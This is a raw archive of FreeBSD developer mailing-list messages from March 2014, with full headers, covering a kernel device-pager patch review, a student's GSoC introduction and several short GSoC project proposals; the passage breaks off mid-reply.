hlAyn6gx5aBMChcU29bTQuuI+oIhK4FsoUtDRavqoV2oeG9B2JSeOLJO4CzB6KCnx2G8 pKF8/NtRDYR2DSjCI8eVg9oe8WBT2uUMS6DqybPjPiciMHG1/M1ashpJwWBtZ5JdEehZ cYyBdx9YFc+KZVsIHF+BInnSwiJhfANV97ftj/y/Fm36M24RLxyX8Cih/TfNVgFvDoqg 6DwQ== MIME-Version: 1.0 X-Received: by 10.152.42.230 with SMTP id r6mr2418572lal.32.1394638557426; Wed, 12 Mar 2014 08:35:57 -0700 (PDT) Received: by 10.112.129.164 with HTTP; Wed, 12 Mar 2014 08:35:57 -0700 (PDT) In-Reply-To: References: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> Date: Wed, 12 Mar 2014 15:35:57 +0000 Message-ID: Subject: Re: [PATCH 0/5] Fix several minor Clang static analysis warnings From: Tom Evans To: Eitan Adler Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 15:35:59 -0000 On Wed, Mar 12, 2014 at 2:53 PM, Eitan Adler wrote: > Git patches are fine. For tracking it can also be helpful to submit a PR. > > However, I don't seem to see anything attached to this email ;) This is email "[PATCH 0/5]" - see emails "[PATCH {1,2,3,4,5}/5]" Cheers Tom From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 15:36:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 94DFF7F2; Wed, 12 Mar 2014 15:36:47 +0000 (UTC) Received: from mailuogwdur.emc.com (mailuogwdur.emc.com [128.221.224.79]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3DFAAB7B; Wed, 12 Mar 2014 15:36:46 +0000 (UTC) Received: from maildlpprd53.lss.emc.com (maildlpprd53.lss.emc.com [10.106.48.157]) by mailuogwprd52.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2CFahLb027167 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 12 Mar 2014 11:36:45 -0400 X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd52.lss.emc.com s2CFahLb027167 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=isilon.com; s=jan2013; t=1394638605; bh=TxLUNAq0+ToJ6xBRdW1InUb2SFc=; h=From:To:CC:Subject:Date:Message-ID:References:In-Reply-To: Content-Type:Content-Transfer-Encoding:MIME-Version; b=EWmwowPkw2KDoiNrUyOHdxHZawMxNrvfzIDelGkpBrLpY2IIMhcWtwQeLGSFv9I5I IEgCGwmT4l+/qmrHxwZxSJEvwHA/N9FhsI42EnJVMRU7SCDjS1teis2RnqCG70k94D 0YMsGQsimOdJ10sOwdtT/eCIm4q5/p2Vz6BPxgmQ= X-DKIM: OpenDKIM Filter v2.4.3 mailuogwprd52.lss.emc.com s2CFahLb027167 Received: from mailusrhubprd54.lss.emc.com (mailusrhubprd54.lss.emc.com [10.106.48.19]) by maildlpprd53.lss.emc.com (RSA Interceptor); Wed, 12 Mar 2014 11:36:32 -0400 Received: from mxhub13.corp.emc.com (mxhub13.corp.emc.com [128.222.70.234]) by mailusrhubprd54.lss.emc.com (Sentrion-MTA-4.3.0/Sentrion-MTA-4.3.0) with ESMTP id s2CFaVAM001061 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL); Wed, 12 Mar 2014 11:36:31 -0400 Received: from MXHUB106.corp.emc.com (10.253.58.23) by mxhub13.corp.emc.com (128.222.70.234) with Microsoft SMTP Server (TLS) id 8.3.327.1; Wed, 12 Mar 2014 11:36:30 -0400 Received: from MX103CL02.corp.emc.com ([169.254.6.182]) by MXHUB106.corp.emc.com ([10.253.58.23]) with mapi id 14.03.0158.001; Wed, 12 Mar 2014 11:36:31 -0400 From: "Meyer, Conrad" To: Konstantin Belousov , Conrad Meyer Subject: RE: [PATCH 1/5] vm/device_pager.c: dev_pager_alloc: 'size' must be non-zero Thread-Topic: [PATCH 1/5] vm/device_pager.c: dev_pager_alloc: 'size' must be non-zero Thread-Index: AQHPPYjSzQvZ88ne20iosi2VkBm1e5rdhBKAgAASbyU= Date: Wed, 12 Mar 2014 15:36:30 +0000 Message-ID: References: <1394583583-19023-1-git-send-email-conrad.meyer@isilon.com> <1394583583-19023-2-git-send-email-conrad.meyer@isilon.com>, <20140312103009.GT24664@kib.kiev.ua> In-Reply-To: <20140312103009.GT24664@kib.kiev.ua> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.7.176.236] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Sentrion-Hostname: mailusrhubprd54.lss.emc.com X-RSA-Classifications: public X-Mailman-Approved-At: Wed, 12 Mar 2014 15:43:58 +0000 Cc: "freebsd-hackers@freebsd.org" , Jeffrey Roberson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 15:36:47 -0000 On Wed, Mar 12, 2014 at 3:30 AM, Konstantin Belousov = wrote:=0A= >=0A= > Thank you for the submission, I committed four patches, except this one.= =0A= >=0A= =0A= Thanks!=0A= =0A= >=0A= > On Tue, Mar 11, 2014 at 05:19:39PM -0700, Conrad Meyer wrote:=0A= > > If size is zero, paddr is used uninitialized when assigning=0A= > > object1->pg_color.=0A= > So the issue there is only with non-managed device pager, right ?=0A= > Please note that GEM explicitely initializes color in the constructor.=0A= >=0A= > I do not like the change below, it puts the policy into pager, while=0A= > currently the decision is up to managed pager consumers, e.g. GEM,=0A= > which do the similar check on its own.=0A= >=0A= > I prefer a different way to shut down the warning, please see the=0A= > patch at the end of the message. Does it work for you ?=0A= >=0A= > diff --git a/sys/vm/device_pager.c b/sys/vm/device_pager.c=0A= > index 13491ba..4cd245a 100644=0A= > --- a/sys/vm/device_pager.c=0A= > +++ b/sys/vm/device_pager.c=0A= > @@ -414,6 +414,7 @@ old_dev_pager_ctor(void *handle, vm_ooffset_t size, v= m_prot_t prot,=0A= > * XXX assumes VM_PROT_* =3D=3D PROT_*=0A= > */=0A= > npages =3D OFF_TO_IDX(size);=0A= > + paddr =3D 0; /* Make paddr initialized for the case of size =3D= =3D 0. */=0A= > for (off =3D foff; npages--; off +=3D PAGE_SIZE) {=0A= > if (csw->d_mmap(dev, off, &paddr, (int)prot, &dummy) !=3D= 0) {=0A= > dev_relthread(dev, ref);=0A= =0A= Looks good to me.=0A= =0A= Thanks,=0A= Conrad= From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 16:23:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E9ABC768 for ; Wed, 12 Mar 2014 16:23:58 +0000 (UTC) Received: from mail-ve0-x22f.google.com (mail-ve0-x22f.google.com [IPv6:2607:f8b0:400c:c01::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id AB3C69F for ; Wed, 12 Mar 2014 16:23:58 +0000 (UTC) Received: by mail-ve0-f175.google.com with SMTP id oz11so10417563veb.34 for ; Wed, 12 Mar 2014 09:23:57 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=YwP0g2pPNImMtRmL4cCPNfecJ2WuV6emB78i4UUfkqo=; b=TMS0Y56tbhtlpSAMlR+LNBArzHG8oJtEXQ253VLpsk9jTHW4ncYdQzyJGa5NC4lYiV 1lkyN6o0n177aIUkFgmhRfG0MrcNnpmeQHzJyCqKxfx2Q2xzLU/co489AogdK2923WPZ q7S2j7YnAVySerdXZeyt8s8S3GpebwZWJ46AiMKHFs/wQBZgzFWIpyv4f1TGxF3vP08D bD8j47mup0g/zVzp7y9Sn08x3q1CmeDn2PMrFB7UckiPjHGIesR3EMWDneAzIbkLiP8N Ac2LM1w1oLumn5FnfHFlYLf7GES9B+C8uecW9QhU57Bk45MfkRMPK3JABjcPSM4FWe7W 9FHQ== MIME-Version: 1.0 X-Received: by 10.52.31.167 with SMTP id b7mr145419vdi.79.1394641437855; Wed, 12 Mar 2014 09:23:57 -0700 (PDT) Received: by 10.58.196.180 with HTTP; Wed, 12 Mar 2014 09:23:57 -0700 (PDT) Date: Wed, 12 Mar 2014 21:53:57 +0530 Message-ID: Subject: [GSOC 2014] Interested in working with FreeBSD From: Shonali Balakrishna To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 16:23:59 -0000 Hi all, I am Shonali Balakrishna from Bangalore, India. I am going to be starting graduate school(MSc.) at TU Delft this fall and wish to participate in Google Summer of Code 2014 as a part of FreeBSD. I am an Electronics and Telecommunications engineering graduate(2008-2012) from PESIT, Bangalore and I'm currently working in Oracle India, on automation/scripting for storage and network related refresh tasks in their Cloud Division. My technical interests lie in computer networking, and have completed my CCNA certification as well. I am proficient in programming/scripting in C, Java, Perl and Shell and have worked on many projects in these languages as a part of work and undergraduate projects. I am proficient in Unix network programming and have sound knowledge of TCP/IP fundamentals. Most importantly, I'm passionate about networking and enjoy learning more and am always willing to learning something new. I am interested in working on "FreeBSD port of Network Manager" or "BSNMP enhancements" and intend to apply for one of these projects through GSOC 2014. I have been familiarizing myself with the FreeBSD kernel and IP stack in the last month and have also been familiarizing myself with BSNMP framework and Network Manager. Could you please update me on the status of these proposed GSOC projects and if mentors have been confirmed for these projects? I am working on a project proposal and would like to run it by you for feedback when I'm done. I would be extremely grateful for any pointers or leads to resources you could provide me with, that would help me with this project. Thank you for your time. Best Regards, -- Shonali Balakrishna From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 16:54:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 889E12A6 for ; Wed, 12 Mar 2014 16:54:53 +0000 (UTC) Received: from mail-qc0-x230.google.com (mail-qc0-x230.google.com [IPv6:2607:f8b0:400d:c01::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 4BB2B390 for ; Wed, 12 Mar 2014 16:54:53 +0000 (UTC) Received: by mail-qc0-f176.google.com with SMTP id m20so11390077qcx.21 for ; Wed, 12 Mar 2014 09:54:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=Jiecv2ygxEqO3IclXf4s7KpdD1MxoalPEmZpqhKL69w=; b=kgLBX27DlL0piwkZG3HFszEhld3g6I9VMLU6l7fv5C5Ou3HMEbckbMmaFWWJyTANH5 EvkOIRrNvf/jIeWNrpQjb5iPoar2UGkuQ1WC+kz83/1Q/vFa/p/mxv4pms8amFETgL9c uxkdYAoJK7Whe5Ail4zZhPr70f+EEPIfFtvr+Vg/JFrjlZv3IlRvjhwGRgI4eP5uFjjH NSDZ8nulMGwmffFJE6RmjSDCBahzNpLYyNZun6YWgcXcjT7aaDq/srG6WgEnbH8/SfHR +RJze0MrVhTDRwx77i/i1IF+ZJOnOWQjKpdlDZnvy5FLhxns2tkCxFZXddfsSF1t6DdR +QaA== MIME-Version: 1.0 X-Received: by 10.224.168.203 with SMTP id v11mr57230017qay.57.1394643292489; Wed, 12 Mar 2014 09:54:52 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Wed, 12 Mar 2014 09:54:52 -0700 (PDT) Date: Wed, 12 Mar 2014 17:54:52 +0100 X-Google-Sender-Auth: V5Scxj12Mj7hi8e8HV5X7lNK17Y Message-ID: Subject: GSoC proposition: multiplatform UFS2 driver From: CeDeROM To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 16:54:53 -0000 My proposition is to create universal UFS2 driver that would work on Windows, Linux, and maybe other OS, so we can use native UFS2 as data partition among various OS. -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 16:55:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DAB01429 for ; Wed, 12 Mar 2014 16:55:57 +0000 (UTC) Received: from mail-qa0-x236.google.com (mail-qa0-x236.google.com [IPv6:2607:f8b0:400d:c00::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9DB4D3A1 for ; Wed, 12 Mar 2014 16:55:57 +0000 (UTC) Received: by mail-qa0-f54.google.com with SMTP id w8so10324759qac.13 for ; Wed, 12 Mar 2014 09:55:56 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=4E7PSxDMtTSldb/yiRbOH+XKM3lorxElYgTYic/+sjI=; b=G77Yzl5u4U+Lm/iItkWqYAc4iGnhosauehrcnlz1BzSPr2IFhSZq2B2i4XEiUM8g6y tl8jQY7nG6lapZDm3IPux96AobZI1sorDn0hoU5SpPDjPi3EnHFF0BtG+5TVe7d+VIIY 6Or3XQWkjIzAPVmMIWzmMoO4s8c/sGNsTuUxRpfo1vL9aw7iCCvTSxBg0ZqS8tdGyLLy +4+YeL6BFtvgrri159glZDQXFix94P0VDNrXrdNoP7BzO7Z+y21njNIpDSt6UtoMtA1L P54ikS26QpRbPvMW/4hoFMBQWVKYpJDYRFRywAQleQ7EJDFIdDLDhuv8ZB25KEN40w2s +O3A== MIME-Version: 1.0 X-Received: by 10.224.168.203 with SMTP id v11mr57236996qay.57.1394643356840; Wed, 12 Mar 2014 09:55:56 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Wed, 12 Mar 2014 09:55:56 -0700 (PDT) Date: Wed, 12 Mar 2014 17:55:56 +0100 X-Google-Sender-Auth: fenN6yYxBrfx_c-ZKVmcVSY1n20 Message-ID: Subject: GSoC proposition: ATH9k USB driver From: CeDeROM To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 16:55:57 -0000 My proposition is to create Atheros9k driver for USB dongles - that would mean merging existing ath9k PCI driver with USB infrastructure. -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 16:56:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BECE151F for ; Wed, 12 Mar 2014 16:56:50 +0000 (UTC) Received: from mail-qg0-x22e.google.com (mail-qg0-x22e.google.com [IPv6:2607:f8b0:400d:c04::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8463B3C4 for ; Wed, 12 Mar 2014 16:56:50 +0000 (UTC) Received: by mail-qg0-f46.google.com with SMTP id e89so9826221qgf.5 for ; Wed, 12 Mar 2014 09:56:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=N3lX5OJ5gKDyjN6RvKge52wTbVb8ijSX5EiRL2FeH48=; b=nVZgE8ATd+Tr6WRjqbQjJr6Bq2iCqfh9vYotSk5K95G9f7QjbxzF0xolyemx5MI/jU RtvRnOQ/03Ea+pMJkGCGQlrijpYn3b//Ng12BIIr19DdRF89/JDwmz/IB7pjki37R1mM njLw2SKfEg08wK5bl77r1LeRquqA/B3ja3lyV7dWTe7sQPDWwD9Uyth2QKufH+f4+fui ROUudHXd7d1Gs0WrVRFKK5ArCLGJYnPB0x4bm9RTl4/7GwogxmmddqD4wNguTADyTiaO kgwgn39uYgShqKNbLgFfGhA/HMJM3q59sv+PWJtNtB1b/l1i9ROsDQJNSHPS7GeUI2T8 21HQ== MIME-Version: 1.0 X-Received: by 10.229.213.194 with SMTP id gx2mr50137515qcb.16.1394643409772; Wed, 12 Mar 2014 09:56:49 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Wed, 12 Mar 2014 09:56:49 -0700 (PDT) Date: Wed, 12 Mar 2014 17:56:49 +0100 X-Google-Sender-Auth: asz5TRFWVyXICYzaQhwpN60X5hc Message-ID: Subject: GSoC proposition: USB host/proxy fixups for VirtualBox From: CeDeROM To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 16:56:50 -0000 My proposition is to fix and make USB Host/Proxy more reliable on VirtualBox. -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 17:01:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 933547DC for ; Wed, 12 Mar 2014 17:01:32 +0000 (UTC) Received: from mail-qa0-x235.google.com (mail-qa0-x235.google.com [IPv6:2607:f8b0:400d:c00::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 57E46659 for ; Wed, 12 Mar 2014 17:01:32 +0000 (UTC) Received: by mail-qa0-f53.google.com with SMTP id w8so10076386qac.40 for ; Wed, 12 Mar 2014 10:01:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=tCfHFlj8Y/xAJZ3fATTZOPtOzAwaQm2/kZWN7oezKzo=; b=orPU8FH+NSFFjHchY1oInnbbQr62ZLe28SgypQgUyiRqopoCmBDCx+ZVav7/WMW7pV 6Xhd52Tsmrr3Oj6RcUwwEsDbuyururh/Ny/E79IsAsFHUIRIc1mqbBVClalZgSl6PAse Ngd2X2JSRiliMQYuQx1M5KB5+KZc/WL3JXxl2Nju0E8qKuorYN4//LxlYBD3U5GbStsr TfhkKsuFTJB09Oj0hQL1ytx8sUPUS8mEnm7lWsQA6Y66ZNt6xys4uQ03aouQAmqY04K7 Hus2TFhtdqvRfyDsvHRpT2pMx1F2AiNGqdYRg1axYRAUs4MEk2POzM+UNaG6f4VV8UQQ /bqg== MIME-Version: 1.0 X-Received: by 10.140.94.68 with SMTP id f62mr47605273qge.64.1394643691569; Wed, 12 Mar 2014 10:01:31 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Wed, 12 Mar 2014 10:01:31 -0700 (PDT) Date: Wed, 12 Mar 2014 18:01:31 +0100 X-Google-Sender-Auth: ROR6qtEI48xbv0SWJR55bguuKwA Message-ID: Subject: GSoC proposition: A2DP Bluetooth sound driver/daemon From: CeDeROM To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 17:01:32 -0000 My proposition is to create a driver and/or daemon to easily connect A2DP audio devices over Bluetooth link, just as bthid. -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 17:03:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 81F959D4 for ; Wed, 12 Mar 2014 17:03:31 +0000 (UTC) Received: from mail-qa0-x22a.google.com (mail-qa0-x22a.google.com [IPv6:2607:f8b0:400d:c00::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0015766C for ; Wed, 12 Mar 2014 17:03:30 +0000 (UTC) Received: by mail-qa0-f42.google.com with SMTP id k15so10206889qaq.15 for ; Wed, 12 Mar 2014 10:03:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=pfd/v6kLcYbTQNMPP5Hkj/WX04p0D4Os75nPYINOJbE=; b=VinlNp0KCWn65rdC6IFXWXztoa2wRPwzvhbho+NQWDLTLi2oK8uZKZvZJ5NnjSCHyW vP20MzVPkXoLRLhpX35NU8mtTcm+RuJTFVBEUrd4RnfDm6/Vo1zHEclrzhx3TygWLXRs E9t/zpmkdx0GWBCU+65G4w/AlG0DYSwCjkqiEHJV7w2EmVr6QsFpzTY+bRW/W12o2J8E USA8d+DmHHHznAwpkUYXjpxRUuvtkfENjJeBGvWojsJt25i28q4LJzr491Hpi0onClFk 31qHzjxSkD9cWCIFBX/NysImCD2qYhvdxohfEE51DQATWE7TPtXUUPrI2DJGUdVe6Sj9 qfpQ== MIME-Version: 1.0 X-Received: by 10.140.83.47 with SMTP id i44mr2486393qgd.100.1394643810109; Wed, 12 Mar 2014 10:03:30 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Wed, 12 Mar 2014 10:03:30 -0700 (PDT) Date: Wed, 12 Mar 2014 18:03:30 +0100 X-Google-Sender-Auth: TOJna5zjidLEqDSirqNkSO46BJY Message-ID: Subject: GSoC proposition: pico FreeBSD for soho MIPS routers (OpenWRT alike) From: CeDeROM To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 17:03:31 -0000 My proposition is to create easy way to create pico FreeBSD distribution and build tools to run FreeBSD on soho MIPS routers, just as OpenWRT. -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 17:08:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 42258B64 for ; Wed, 12 Mar 2014 17:08:56 +0000 (UTC) Received: from mail-qa0-x230.google.com (mail-qa0-x230.google.com [IPv6:2607:f8b0:400d:c00::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0523B6C9 for ; Wed, 12 Mar 2014 17:08:55 +0000 (UTC) Received: by mail-qa0-f48.google.com with SMTP id m5so10280324qaj.35 for ; Wed, 12 Mar 2014 10:08:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=XI8SGH1hETJlE0OcWTrHsg7Q92e77zkO8DscOGUyqUI=; b=Mq+XGmcTCcwnG60NTF4EPeEok4Il/dmP7/TEeeRHNZstkDuH1QMEsyWDKcvOVwp4nW ndFkve9u9odMS72ely/M1M/jcNAO6uSB+mo6L42nxuYHdA14Dc3Av4Qpao6vKYz8J4iS Y4u+4BPi+aEMxOfZFoj9g0jmAyXyop3DyVLbGactQ9tEaQPsmi1f7dN4DFFmgyNlOv44 f7hiEVSSOuur/9H19pPkLLleaNenxQrqD4zW7hFUMnzjFceXHG7Qf4VmZ+b9x72OkmtH 5zXbaglQHuDgrU85QcVWa6nZ6MR2N7WePtb7c7TyUsqwBNibkqOZzQOe/0ZBSJZlA4Nl hoAw== MIME-Version: 1.0 X-Received: by 10.224.168.203 with SMTP id v11mr57331305qay.57.1394644135182; Wed, 12 Mar 2014 10:08:55 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Wed, 12 Mar 2014 10:08:55 -0700 (PDT) Date: Wed, 12 Mar 2014 18:08:55 +0100 X-Google-Sender-Auth: I8JyyW-jBU7RAY3T04rKybvBzPw Message-ID: Subject: GSoC proposition: Intel HD Xorg + console fixup, video acceleration if possible From: CeDeROM To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 17:08:56 -0000 My proposition is to fix the current Intel HD Xorg driver so we have console back again. Video hardware acceleration for Intel video drivers if possible. -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 12 20:54:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9461C85D for ; Wed, 12 Mar 2014 20:54:03 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 1DF78FD4 for ; Wed, 12 Mar 2014 20:54:02 +0000 (UTC) Received: from freebsd.czest.pl (freebsd.czest.pl [212.87.224.105]) by freebsd.czest.pl (8.14.5/8.14.5) with ESMTP id s2CKqOwW025098; Wed, 12 Mar 2014 20:52:24 GMT (envelope-from wkoszek@freebsd.czest.pl) Received: (from wkoszek@localhost) by freebsd.czest.pl (8.14.5/8.14.5/Submit) id s2CKqOgg025097; Wed, 12 Mar 2014 20:52:24 GMT (envelope-from wkoszek) Date: Wed, 12 Mar 2014 20:52:23 +0000 From: "Wojciech A. Koszek" To: CeDeROM Subject: Re: GSoC proposition: multiplatform UFS2 driver Message-ID: <20140312205223.GF18694@FreeBSD.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Spam-Status: No, score=-0.4 required=5.0 tests=RP_MATCHES_RCVD, SPF_HELO_PASS, SPF_PASS autolearn=ham version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on freebsd.czest.pl X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.7 (freebsd.czest.pl [212.87.224.105]); Wed, 12 Mar 2014 20:52:28 +0000 (UTC) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Mar 2014 20:54:03 -0000 On Wed, Mar 12, 